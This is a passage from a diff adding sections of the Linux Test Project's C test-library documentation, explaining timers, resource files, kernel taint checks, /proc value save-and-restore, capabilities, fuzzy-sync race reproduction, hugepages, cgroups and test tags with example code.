+The 'SAFE_CMD()' macro can be used automatic handling non-zero exits (exits
+with 'TBROK') and 'ENOENT' (exits with 'TCONF').
+
+.Example
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+const char *const cmd[] = { "ls", "-l", NULL };
+
+...
+	/* Store output of 'ls -l' into log.txt */
+	tst_cmd(cmd, "log.txt", NULL, 0);
+...
+-------------------------------------------------------------------------------
+
+1.21 Measuring elapsed time and helper functions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_timer.h"
+
+void tst_timer_check(clockid_t clk_id);
+
+void tst_timer_start(clockid_t clk_id);
+
+void tst_timer_stop(void);
+
+struct timespec tst_timer_elapsed(void);
+
+long long tst_timer_elapsed_ms(void);
+
+long long tst_timer_elapsed_us(void);
+
+int tst_timer_expired_ms(long long ms);
+-------------------------------------------------------------------------------
+
+The 'tst_timer_check()' function checks if specified 'clk_id' is supported and
+exits the test with 'TCONF' otherwise. It's expected to be used in test
+'setup()' before any resources that needs to be cleaned up are initialized,
+hence it does not include a cleanup function parameter.
+
+The 'tst_timer_start()' marks start time and stores the 'clk_id' for further
+use.
+
+The 'tst_timer_stop()' marks the stop time using the same 'clk_id' as last
+call to 'tst_timer_start()'.
+
+The 'tst_timer_elapsed*()' returns time difference between the timer start and
+last timer stop in several formats and units.
+
+The 'tst_timer_expired_ms()' function checks if the timer started by
+'tst_timer_start()' has been running longer than ms milliseconds. The function
+returns non-zero if timer has expired and zero otherwise.
+
+IMPORTANT: The timer functions use 'clock_gettime()' internally which needs to
+           be linked with '-lrt' on older glibc. Please do not forget to add
+	   'LDLIBS+=-lrt' in Makefile.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+#include "tst_timer.h"
+
+static void setup(void)
+{
+	...
+	tst_timer_check(CLOCK_MONOTONIC);
+	...
+}
+
+static void run(void)
+{
+	...
+	tst_timer_start(CLOCK_MONOTONIC);
+	...
+	while (!tst_timer_expired_ms(5000)) {
+		...
+	}
+	...
+}
+
+struct tst_test test = {
+	...
+	.setup = setup,
+	.test_all = run,
+	...
+};
+-------------------------------------------------------------------------------
+
+Expiration timer example usage.
+
+[source,c]
+-------------------------------------------------------------------------------
+long long tst_timespec_to_us(struct timespec t);
+long long tst_timespec_to_ms(struct timespec t);
+
+struct timeval tst_us_to_timeval(long long us);
+struct timeval tst_ms_to_timeval(long long ms);
+
+int tst_timespec_lt(struct timespec t1, struct timespec t2);
+
+struct timespec tst_timespec_add_us(struct timespec t, long long us);
+
+struct timespec tst_timespec_diff(struct timespec t1, struct timespec t2);
+long long tst_timespec_diff_us(struct timespec t1, struct timespec t2);
+long long tst_timespec_diff_ms(struct timespec t1, struct timespec t2);
+
+struct timespec tst_timespec_abs_diff(struct timespec t1, struct timespec t2);
+long long tst_timespec_abs_diff_us(struct timespec t1, struct timespec t2);
+long long tst_timespec_abs_diff_ms(struct timespec t1, struct timespec t2);
+-------------------------------------------------------------------------------
+
+The first four functions are simple inline conversion functions.
+
+The 'tst_timespec_lt()' function returns non-zero if 't1' is earlier than
+'t2'.
+
+The 'tst_timespec_add_us()' function adds 'us' microseconds to the timespec
+'t'. The 'us' is expected to be positive.
+
+The 'tst_timespec_diff*()' functions returns difference between two times, the
+'t1' is expected to be later than 't2'.
+
+The 'tst_timespec_abs_diff*()' functions returns absolute value of difference
+between two times.
+
+NOTE: All conversions to ms and us rounds the value.
+
+1.22 Datafiles
+~~~~~~~~~~~~~~
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static const char *const res_files[] = {
+	"foo",
+	"bar",
+	NULL
+};
+
+static struct tst_test test = {
+	...
+	.resource_files = res_files,
+	...
+}
+-------------------------------------------------------------------------------
+
+If the test needs additional files to be copied to the test temporary
+directory all you need to do is to list their filenames in the
+'NULL' terminated array '.resource_files' in the tst_test structure.
+
+When resource files is set test temporary directory is created automatically,
+there is need to set '.needs_tmpdir' as well.
+
+The test library looks for datafiles first, these are either stored in a
+directory called +datafiles+ in the +$PWD+ at the start of the test or in
++$LTPROOT/testcases/data/${test_binary_name}+. If the file is not found the
+library looks into +$LTPROOT/testcases/bin/+ and to +$PWD+ at the start of the
+test. This ensures that the testcases can copy the file(s) effortlessly both
+when test is started from the directory it was compiled in as well as when LTP
+was installed.
+
+The file(s) are copied to the newly created test temporary directory which is
+set as the test working directory when the 'test()' functions is executed.
+
+1.23 Code path tracing
+~~~~~~~~~~~~~~~~~~~~~~
+
+'tst_res' is a macro, so on when you define a function in one file:
+
+[source,c]
+-------------------------------------------------------------------------------
+int do_action(int arg)
+{
+	...
+
+	if (ok) {
+		tst_res(TPASS, "check passed");
+		return 0;
+	} else {
+		tst_res(TFAIL, "check failed");
+		return -1;
+	}
+}
+-------------------------------------------------------------------------------
+
+and call it from another file, the file and line reported by 'tst_res' in this
+function will be from the former file.
+
+'TST_TRACE' can make the analysis of such situations easier. It's a macro which
+inserts a call to 'tst_res(TINFO, ...)' in case its argument evaluates to
+non-zero. In this call to 'tst_res(TINFO, ...)' the file and line will be
+expanded using the actual location of 'TST_TRACE'.
+
+For example, if this another file contains:
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+if (TST_TRACE(do_action(arg))) {
+	...
+}
+-------------------------------------------------------------------------------
+
+the generated output may look similar to:
+
+-------------------------------------------------------------------------------
+common.h:9: FAIL: check failed
+test.c:8: INFO: do_action(arg) failed
+-------------------------------------------------------------------------------
+
+1.24 Tainted kernels
+~~~~~~~~~~~~~~~~~~~~
+
+If you need to detect whether a testcase triggers a kernel warning, bug or
+oops, the following can be used to detect TAINT_W or TAINT_D:
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static struct tst_test test = {
+	...
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	...
+};
+
+void run(void)
+{
+	...
+	if (tst_taint_check() != 0)
+		tst_res(TFAIL, "kernel has issues");
+	else
+		tst_res(TPASS, "kernel seems to be fine");
+}
+-------------------------------------------------------------------------------
+
+To initialize taint checks, you have to set the taint flags you want to test
+for in the 'taint_check' attribute of the tst_test struct. LTP library will
+then automatically call 'tst_taint_init()' during test setup. The function
+will generate a 'TCONF' if the requested flags are not fully supported on the
+running kernel, and 'TBROK' if the kernel is already tainted before executing
+the test.
+
+LTP library will then automatically check kernel taint at the end of testing.
+If '.all_filesystems' is set in struct tst_test, taint check will be performed
+after each file system and taint will abort testing early with 'TFAIL'. You
+can optionally also call 'tst_taint_check()' during 'run()', which returns 0
+or the tainted flags set in '/proc/sys/kernel/tainted' as specified earlier.
+
+Depending on your kernel version, not all tainted-flags will be supported.
+
+For reference to tainted kernels, see kernel documentation:
+Documentation/admin-guide/tainted-kernels.rst or
+https://www.kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
+
+1.25 Checksums
+~~~~~~~~~~~~~~
+
+CRC32c checksum generation is supported by LTP. In order to use it, the
+test should include 'tst_checksum.h' header, then can call 'tst_crc32c()'.
+
+1.26 Checking kernel for the driver support
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some tests may need specific kernel drivers, either compiled in, or built
+as a module. If '.needs_drivers' points to a 'NULL' terminated array of kernel
+module names these are all checked and the test exits with 'TCONF' on the
+first missing driver.
+
+Since it relies on modprobe command, the check will be skipped if the command
+itself is not available on the system.
+
+1.27 Saving & restoring /proc|sys values
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+LTP library can be instructed to save and restore value of specified
+(/proc|sys) files. This is achieved by initialized tst_test struct
+field 'save_restore'. It is a NULL-terminated array of struct
+'tst_path_val' where each tst_path_val.path represents a file, whose
+value is saved at the beginning and restored at the end of the test.
+If non-NULL value is passed it is written to the respective file at
+the beginning of the test. Only the first line of a specified file
+is saved and restored.
+
+Pathnames can be optionally prefixed to specify how strictly (during
+'store') are handled errors:
+
+* (no prefix) - test ends with 'TCONF', if file doesn't exist
+* '?'         - test prints info message and continues,
+                if file doesn't exist or open/read fails
+* '!'         - test ends with 'TBROK', if file doesn't exist
+
+'restore' is always strict and will TWARN if it encounters any error.
+
+[source,c]
+-------------------------------------------------------------------------------
+static void setup(void)
+{
+	FILE_PRINTF("/proc/sys/kernel/core_pattern", "/mypath");
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+}
+
+static struct tst_test test = {
+	...
+	.setup = setup,
+	.save_restore = (const struct tst_path_val[]) {
+		{"/proc/sys/kernel/core_pattern", NULL},
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{"!/sys/kernel/mm/ksm/run", "1"},
+		{}
+	},
+};
+-------------------------------------------------------------------------------
+
+1.28 Parsing kernel .config
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Generally testcases should attempt to autodetect as much kernel features as
+possible based on the currently running kernel. We do have tst_check_driver()
+to check if functionality that could be compiled as kernel module is present
+on the system, disabled syscalls can be detected by checking for 'ENOSYS'
+errno etc.
+
+However in rare cases core kernel features couldn't be detected based on the
+kernel userspace API and we have to resort to parse the kernel .config.
+
+For this cases the test should set the 'NULL' terminated '.needs_kconfigs'
+array of boolean expressions with constraints on the kconfig variables. The
+boolean expression consits of variables, two binary operations '&' and '|',
+negation '!' and correct sequence of parentesis '()'. Variables are expected
+to be in a form of "CONFIG_FOO[=bar]".
+
+The test will continue to run if all expressions are evaluated to 'True'.
+Missing variable is mapped to 'False' as well as variable with different than
+specified value, e.g. 'CONFIG_FOO=bar' will evaluate to 'False' if the value
+is anything else but 'bar'. If config variable is specified as plain
+'CONFIG_FOO' it's evaluated to true it's set to any value (typically =y or =m).
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static const char *kconfigs[] = {
+	"CONFIG_X86_INTEL_UMIP | CONFIG_X86_UMIP",
+	NULL
+};
+
+static struct tst_test test = {
+	...
+	.needs_kconfigs = kconfigs,
+	...
+};
+-------------------------------------------------------------------------------
+
+1.29 Changing the Wall Clock Time during test execution
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+There are some tests that, for different reasons, might need to change the
+system-wide clock time. Whenever this happens, it is imperative that the clock
+is restored, at the end of test's execution, taking in consideration the amount
+of time elapsed during that test.
+
+In order for that to happen, struct tst_test has a variable called
+"restore_wallclock" that should be set to "1" so LTP knows it should: (1)
+initialize a monotonic clock during test setup phase and (2) use that monotonic
+clock to fix the system-wide clock time at the test cleanup phase.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static void setup(void)
+{
+	...
+}
+
+static void run(void)
+{
+	...
+}
+
+struct tst_test test = {
+	...
+	.setup = setup,
+	.test_all = run,
+	.restore_wallclock = 1,
+	...
+};
+-------------------------------------------------------------------------------
+
+1.30 Testing similar syscalls in one test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In some cases kernel has several very similar syscalls that do either the same
+or very similar job. This is most noticeable on i386 where we commonly have
+two or three syscall versions. That is because i386 was first platform that
+Linux was developed on and because of that most mistakes in API happened there
+as well. However this is not limited to i386 at all, it's quite common that
+version two syscall has added missing flags parameters or so.
+
+In such cases it does not make much sense to copy&paste the test code over and
+over, rather than that the test library provides support for test variants.
+The idea behind test variants is simple, we run the test several times each
+time with different syscall variant.
+
+The implementation consist of test_variants integer that, if set, denotes number
+of test variants. The test is then forked and executed test_variants times each
+time with different value in global tst_variant variable.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static int do_foo(void)
+{
+	switch (tst_variant) {
+	case 0:
+		return foo();
+	case 1:
+		return syscall(__NR_foo);
+	}
+
+	return -1;
+}
+
+static void run(void)
+{
+	...
+
+	TEST(do_foo);
+
+	...
+}
+
+static void setup(void)
+{
+	switch (tst_variant) {
+	case 0:
+		tst_res(TINFO, "Testing foo variant 1");
+	break;
+	case 1:
+		tst_res(TINFO, "Testing foo variant 2");
+	break;
+	}
+}
+
+struct tst_test test = {
+	...
+	.setup = setup,
+	.test_all = run,
+	.test_variants = 2,
+	...
+};
+-------------------------------------------------------------------------------
+
+1.31 Guarded buffers
+~~~~~~~~~~~~~~~~~~~~
+
+The test library supports guarded buffers, which are buffers allocated so
+that:
+
+* The end of the buffer is followed by a PROT_NONE page
+
+* The remainder of the page before the buffer is filled with random canary
+  data
+
+Which means that the any access after the buffer will yield a Segmentation
+fault or EFAULT depending on if the access happened in userspace or the kernel
+respectively. The canary before the buffer will also catch any write access
+outside of the buffer.
+
+The purpose of the patch is to catch off-by-one bugs which happens when
+buffers and structures are passed to syscalls. New tests should allocate
+guarded buffers for all data passed to the tested syscall which are passed by
+a pointer.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static struct foo *foo_ptr;
+static struct iovec *iov;
+static void *buf_ptr;
+static char *id;
+...
+
+static void run(void)
+{
+	...
+
+	foo_ptr->bar = 1;
+	foo_ptr->buf = buf_ptr;
+
+	...
+}
+
+static void setup(void)
+{
+	...
+
+	id = tst_strdup(string);
+
+	...
+}
+
+static struct tst_test test = {
+	...
+	.bufs = (struct tst_buffers []) {
+		{&foo_ptr, .size = sizeof(*foo_ptr)},
+		{&buf_ptr, .size = BUF_SIZE},
+		{&iov, .iov_sizes = (int[]){128, 32, -1},
+		{}
+	}
+};
+-------------------------------------------------------------------------------
+
+Guarded buffers can be allocated on runtime in a test setup() by a
+'tst_alloc()' or by 'tst_strdup()' as well as by filling up the .bufs array in
+the tst_test structure.
+
+So far the tst_test structure supports allocating either a plain buffer by
+setting up the size or struct iovec, which is allocated recursively including
+the individual buffers as described by an '-1' terminated array of buffer
+sizes.
+
+1.32 Adding and removing capabilities
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some tests may require the presence or absence of particular
+capabilities. Using the API provided by 'tst_capability.h' the test author can
+try to ensure that some capabilities are either present or absent during the
+test.
+
+For example; below we try to create a raw socket, which requires
+CAP_NET_ADMIN. During setup we should be able to do it, then during run it
+should be impossible. The LTP capability library will check before setup that
+we have this capability, then after setup it will drop it.
+
+[source,c]
+--------------------------------------------------------------------------------
+#include "tst_test.h"
+#include "tst_capability.h"
+#include "tst_safe_net.h"
+
+#include "lapi/socket.h"
+
+static void run(void)
+{
+	TEST(socket(AF_INET, SOCK_RAW, 1));
+	if (TST_RET > -1) {
+		tst_res(TFAIL, "Created raw socket");
+	} else if (TST_ERR != EPERM) {
+		tst_res(TFAIL | TTERRNO,
+			"Failed to create socket for wrong reason");
+	} else {
+		tst_res(TPASS | TTERRNO, "Didn't create raw socket");
+	}
+}
+
+static void setup(void)
+{
+	TEST(socket(AF_INET, SOCK_RAW, 1));
+	if (TST_RET < 0)
+		tst_brk(TCONF | TTERRNO, "We don't have CAP_NET_RAW to begin with");
+
+	SAFE_CLOSE(TST_RET);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.caps = (struct tst_cap []) {
+		TST_CAP(TST_CAP_REQ, CAP_NET_RAW),
+		TST_CAP(TST_CAP_DROP, CAP_NET_RAW),
+		{}
+	},
+};
+--------------------------------------------------------------------------------
+
+Look at the test struct at the bottom. We have filled in the 'caps' field with
+a 'NULL' terminated array containing two 'tst_cap' structs. 'TST_CAP_REQ'
+actions are executed before setup and 'TST_CAP_DROP' are executed after
+setup. This means it is possible to both request and drop a capability.
+
+[source,c]
+--------------------------------------------------------------------------------
+static struct tst_test test = {
+	.test_all = run,
+	.caps = (struct tst_cap []) {
+		TST_CAP(TST_CAP_REQ, CAP_NET_RAW),
+		TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN),
+		{}
+	},
+};
+--------------------------------------------------------------------------------
+
+Here we request 'CAP_NET_RAW', but drop 'CAP_SYS_ADMIN'. If the capability is
+in the permitted set, but not the effective set, the library will try to
+permit it. If it is not in the permitted set, then it will fail with 'TCONF'.
+
+This API does not require 'libcap' to be installed. However it has limited
+features relative to 'libcap'. It only tries to add or remove capabilities
+from the effective set. This means that tests which need to spawn child
+processes may have difficulties ensuring the correct capabilities are
+available to the children (see the capabilities (7) manual pages).
+
+However a lot of problems can be solved by using 'tst_cap_action(struct
+tst_cap  *cap)' directly which can be called at any time. This also helps if
+you wish to drop a capability at the begining of setup.
+
+1.33 Reproducing race-conditions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If a bug is caused by two tasks in the kernel racing and you wish to create a
+regression test (or bug-fix validation test) then the 'tst_fuzzy_sync.h'
+library should be used.
+
+It allows you to specify, in your code, two race windows. One window in each
+thread's loop (triggering a race usually requires many iterations). These
+windows show fuzzy-sync where the race can happen. They don't need to be
+exact, hence the 'fuzzy' part. If the race condition is not immediately
+triggered then the library will begin experimenting with different timings.
+
+[source,c]
+--------------------------------------------------------------------------------
+#include "tst_fuzzy_sync.h"
+
+static struct tst_fzsync_pair fzsync_pair;
+
+static void setup(void)
+{
+        tst_fzsync_pair_init(&fzsync_pair);
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&fzsync_pair);
+}
+
+static void *thread_b(void *arg)
+{
+	while (tst_fzsync_run_b(&fzsync_pair)) {
+
+		tst_fzsync_start_race_b(&fzsync_pair);
+
+                /* This is the race window for thread B */
+
+                tst_fzsync_end_race_b(&fzsync_pair);
+	}
+
+	return arg;
+}
+
+static void thread_a(void)
+{
+	tst_fzsync_pair_reset(&fzsync_pair, thread_b);
+
+        while (tst_fzsync_run_a(&fzsync_pair)) {
+
+		tst_fzsync_start_race_a(&fzsync_pair);
+
+		/* This is the race window for thread A */
+
+                tst_fzsync_end_race_a(&fzsync_pair);
+	}
+}
+
+static struct tst_test test = {
+	.test_all = thread_a,
+	.setup = setup,
+	.cleanup = cleanup,
+};
+--------------------------------------------------------------------------------
+
+Above is a minimal template for a test using fuzzy-sync. In a simple case, you
+just need to put the bits you want to race inbetween 'start_race' and
+'end_race'. Meanwhile, any setup you need to do per-iteration goes outside the
+windows.
+
+Fuzzy sync synchronises 'run_a' and 'run_b', which act as barriers, so that
+neither thread can progress until the other has caught up with it. There is
+also the 'pair_wait' function which can be used to add barriers in other
+locations. Of course 'start/end_race_a/b' are also a barriers.
+
+The library decides how long the test should run for based on the timeout
+specified by the user plus some other heuristics.
+
+For full documentation see the comments in 'include/tst_fuzzy_sync.h'.
+
+1.34 Reserving hugepages
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+Many of the LTP tests need to use hugepage in their testing, this allows the
+test can reserve hugepages from system via '.hugepages = {xx, TST_REQUEST}'.
+
+We achieved two policies for reserving hugepages:
+
+TST_REQUEST:
+  It will try the best to reserve available huge pages and return the number
+  of available hugepages in tst_hugepages, which may be 0 if hugepages are
+  not supported at all.
+
+TST_NEEDS:
+  This is an enforced requirement, LTP should strictly do hpages applying and
+  guarantee the 'HugePages_Free' no less than pages which makes that test can
+  use these specified numbers correctly. Otherwise, test exits with TCONF if
+  the attempt to reserve hugepages fails or reserves less than requested.
+
+With success test stores the reserved hugepage number in 'tst_hugepages'. For
+system without hugetlb supporting, variable 'tst_hugepages' will be set to 0.
+If the hugepage number needs to be set to 0 on supported hugetlb system, please
+use '.hugepages = {TST_NO_HUGEPAGES}'.
+
+Also, we do cleanup and restore work for the hpages resetting automatically.
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static void run(void)
+{
+	...
+
+	if (tst_hugepages == test.hugepages.number)
+		TEST(do_hpage_test);
+	else
+		...
+	...
+}
+
+struct tst_test test = {
+	.test_all = run,
+	.hugepages = {2, TST_REQUEST},
+	...
+};
+-------------------------------------------------------------------------------
+
+or,
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static void run(void)
+{
+	...
+}
+
+static void setup(void)
+{
+	/* TST_NEEDS achieved this automatically in the library */
+	if (tst_hugepages != test.hugepages.number)
+		tst_brk(TCONF, "...");
+}
+
+struct tst_test test = {
+	.test_all = run,
+	.hugepages = {2, TST_NEEDS},
+	...
+};
+-------------------------------------------------------------------------------
+
+1.35 Checking for required commands
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Required commands can be checked with '.needs_cmds', which points to a 'NULL'
+terminated array of strings such as:
+
+[source,c]
+-------------------------------------------------------------------------------
+.needs_cmds = (const char *const []) {
+	"useradd",
+	"userdel",
+	NULL
+},
+-------------------------------------------------------------------------------
+
+Also can check required command version whether is satisfied by using 'needs_cmds'
+such as:
+
+[source,c]
+-------------------------------------------------------------------------------
+.needs_cmds = (const char *const []) {
+	"mkfs.ext4 >= 1.43.0",
+	NULL
+},
+-------------------------------------------------------------------------------
+
+Currently, we only support mkfs.ext4 command version check.
+If you want to support more commands, please fill your own .parser and .table_get
+method in the version_parsers structure of lib/tst_cmd.c.
+
+1.36 Assert sys or proc file value
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Using TST_ASSERT_INT/STR(path, val) to assert that integer value or string stored in
+the prefix field of file pointed by path equals to the value passed to this function.
+
+Also having a similar api pair TST_ASSERT_FILE_INT/STR(path, prefix, val) to assert
+the field value of file.
+
+1.36 Using Control Group
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some LTP tests need specific Control Group configurations.  'tst_cgroup.h'
+provides APIs to discover and use CGroups. There are many differences between
+CGroups API V1 and V2. We encapsulate the details of configuring CGroups in
+high-level functions which follow the V2 kernel API where possible. Allowing one
+to write code that works on both V1 or V2. At least some of the time anyway;
+often the behavioural differences between V1 and V2 are too great. In such cases
+we revert to branching on the CGroup version.
+
+Also, the LTP library will automatically mount/umount and configure the CGroup
+hierarchies if that is required (e.g. if you run the tests from init with no
+system manager).
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static void run(void)
+{
+	...
+	// do test under cgroup
+	...
+}
+
+static void setup(void)
+{
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
+	SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", MEMSIZE);
+	if (SAFE_CG_HAS(tst_cg, "memory.swap.max"))
+		SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%zu", memsw);
+}
+
+struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.cleanup = cleanup,
+	.needs_cgroup_ctrls = (const char *const []){ "memory", NULL },
+	...
+};
+-------------------------------------------------------------------------------
+
+Above, we first ensure the memory controller is available on the
+test's CGroup with '.needs_cgroup_ctrls'. This populates a structure,
+'tst_cg', which represents the test's CGroup.
+
+We then write the current processes PID into 'cgroup.procs', which
+moves the current process into the test's CGroup. After which we set
+the maximum memory size by writing to 'memory.max'. If the memory
+controller is mounted on CGroups V1 then the library will actually
+write to 'memory.limit_in_bytes'. As a general rule, if a file exists
+on both CGroup versions, then we use the V2 naming.
+
+Some controller features, such as 'memory.swap', can be
+disabled. Therefor we need to check if they exist before accessing
+them. This can be done with 'SAFE_CG_HAS' which can be called on
+any control file or feature.
+
+Most tests only require setting a few limits similar to the above. In
+such cases the differences between V1 and V2 are hidden. Setup and
+cleanup is also mostly hidden. However things can get much worse.
+
+[source,c]
+-------------------------------------------------------------------------------
+static struct tst_cg_group *cg_child;
+
+static void run(void)
+{
+	char buf[BUFSIZ];
+	size_t mem = 0;
+
+	cg_child = tst_cg_group_mk(tst_cg, "child");
+	SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid());
+
+	if (!TST_CG_VER_IS_V1(tst_cg, "memory"))
+		SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+memory");
+	if (!TST_CG_VER_IS_V1(tst_cg, "cpuset"))
+		SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+cpuset");
+
+	if (!SAFE_FORK()) {
+		SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid());
+
+		if (SAFE_CG_HAS(cg_child, "memory.swap")) {
+			SAFE_CG_SCANF(cg_child,
+					  "memory.swap.current", "%zu", &mem);
+		}
+		SAFE_CG_READ(cg_child, "cpuset.mems", buf, sizeof(buf));
+
+		// Do something with cpuset.mems and memory.current values
+		...
+
+		exit(0);
+	}
+
+	tst_reap_children();
+	SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid());
+	cg_child = tst_cg_group_rm(cg_child);
+}
+
+static void cleanup(void)
+{
+	if (cg_child) {
+		SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid());
+		cg_child = tst_cg_group_rm(cg_child);
+	}
+}
+
+struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_cgroup_ctrls = (const char *const []){
+		"cpuset",
+		"memory",
+		NULL
+	},
+	...
+};
+-------------------------------------------------------------------------------
+
+Starting with setup; we can see here that we fetch the 'drain'
+CGroup. This is a shared group (between parallel tests) which may
+contain processes from other tests. It should have default settings
+and these should not be changed by the test. It can be used to remove
+processes from other CGroups incase the hierarchy root is not
+accessible.
+
+Note that 'tst_cg_get_drain_group' should not be called many times,
+as it is allocated in a guarded buffer (See section 2.2.31). Therefor
+it is best to call it once in 'setup' and not 'run' because 'run' may
+be repeated with the '-i' option.
+
+In 'run', we first create a child CGroup with 'tst_cg_mk'. As we
+create this CGroup in 'run' we should also remove it at the end of
+run. We also need to check if it exists and remove it in cleanup as
+well. Because there are 'SAFE_' functions which may jump to cleanup.
+
+We then move the main test process into the child CGroup. This is
+important as it means that before we destroy the child CGroup we have
+to move the main test process elsewhere. For that we use the 'drain'
+group.
+
+Next we enable the memory and cpuset controller configuration on the
+test CGroup's descendants (i.e. 'cg_child'). This allows each child to
+have its own settings. The file 'cgroup.subtree_control' does not
+exist on V1. Because it is possible to have both V1 and V2 active at
+the same time. We can not simply check if 'subtree_control' exists
+before writing to it. We have to check if a particular controller is
+on V2 before trying to add it to 'subtree_control'. Trying to add a V1
+controller will result in 'ENOENT'.
+
+We then fork a child process and add this to the child CGroup. Within
+the child process we try to read 'memory.swap.current'. It is possible
+that the memory controller was compiled without swap support, so it is
+necessary to check if 'memory.swap' is enabled. That is unless the
+test will never reach the point where 'memory.swap.*' are used without
+swap support.
+
+The parent process waits for the child process to be reaped before
+destroying the child CGroup. So there is no need to transfer the child
+to drain. However the parent process must be moved otherwise we will
+get 'EBUSY' when trying to remove the child CGroup.
+
+Another example of a behavioral difference between versions is shown below.
+
+[source,c]
+-------------------------------------------------------------------------------
+	if (TST_CG_VER_IS_V1(tst_cg, "memory"))
+		SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", ~0UL);
+	else
+		SAFE_CG_PRINT(tst_cg, "memory.swap.max", "max");
+-------------------------------------------------------------------------------
+
+CGroups V2 introduced a feature where 'memory[.swap].max' could be set to
+"max". This does not appear to work on V1 'limit_in_bytes' however. For most
+tests, simply using a large number is sufficient and there is no need to use
+"max". Importantly though, one should be careful to read both the V1 and V2
+kernel docs. Presently the LTP library does not attempt to handle most
+differences in semantics. It does the minimal amount of work to make testing on
+both V1 and V2 feasible.
+
+1.37 Require minimum numbers of CPU for a testcase
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some tests require more than specific number of CPU. It can be defined with
+`.min_cpus = N`.
+
+1.38 Test tags
+~~~~~~~~~~~~~~
+
+Test tags are name-value pairs that can hold any test metadata.
+
+We have additional support for CVE entries, git commit in mainline kernel,
+stable kernel or glibc git repository.  If a test is a regression test it
+should include these tags.  They are printed when test fails and exported
+into documentation.
+
+CVE, mainline and stable kernel git commits in a regression test for a kernel bug:
+[source,c]
+-------------------------------------------------------------------------------
+struct tst_test test = {
+	...
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "9392a27d88b9"},
+		{"linux-git", "ff002b30181d"},
+		{"known-fail", "ustat() is known to fail with EINVAL on Btrfs"},
+		{"linux-stable-git", "c4a23c852e80"},
+		{"CVE", "2020-29373"},
+		{}
+	}
+};
+-------------------------------------------------------------------------------
+
+NOTE: We don't track all backports to stable kernel but just those which are
+      stable branch specific (unique), i.e. no commit in mainline. Example of
+      commits: c4a23c852e80, cac68d12c531.
+
+Glibc git commit in a regression test for a glibc bug:
+[source,c]
+-------------------------------------------------------------------------------
+struct tst_test test = {
+	...
+	.tags = (const struct tst_tag[]) {
+		{"glibc-git", "574500a108be"},
+		{}
+	}
+};
+-------------------------------------------------------------------------------
+
+1.39 Testing on the specific architecture
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Testcases for specific arch should be limited on that only being supported
+platform to run, we now involve a .supported_archs to achieve this feature
+in LTP library. All you need to run a test on the expected arch is to set
+the '.supported_archs' array in the 'struct tst_test' to choose the required
+arch list. e.g.
+
+    .supported_archs = (const char *const []){"x86_64", "ppc64", NULL}
+
+This helps move the TCONF info from code to tst_test metadata as well.
+
+And, we also export a struct tst_arch to save the system architecture for
+using in the whole test cases.
+
+    extern const struct tst_arch {
+             char name[16];
+             enum tst_arch_type type;
+    } tst_arch;
+
+[source,c]
+-------------------------------------------------------------------------------
+#include "tst_test.h"
+
+static struct tst_test test = {
+       ...
+       .setup = setup,
+       .supported_archs = (const char *const []) {
+                 "x86_64",
+                 "ppc64",
+                 "s390x",
+                 NULL
+       },
+};
+-------------------------------------------------------------------------------
+
+1.40 Require minimum size of MemAvailable for a testcase
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some tests require more than specific size(MB) of MemAvailable. It can be defined
+with `.min_mem_avail = N`.
+
+2. Common problems
+------------------
+
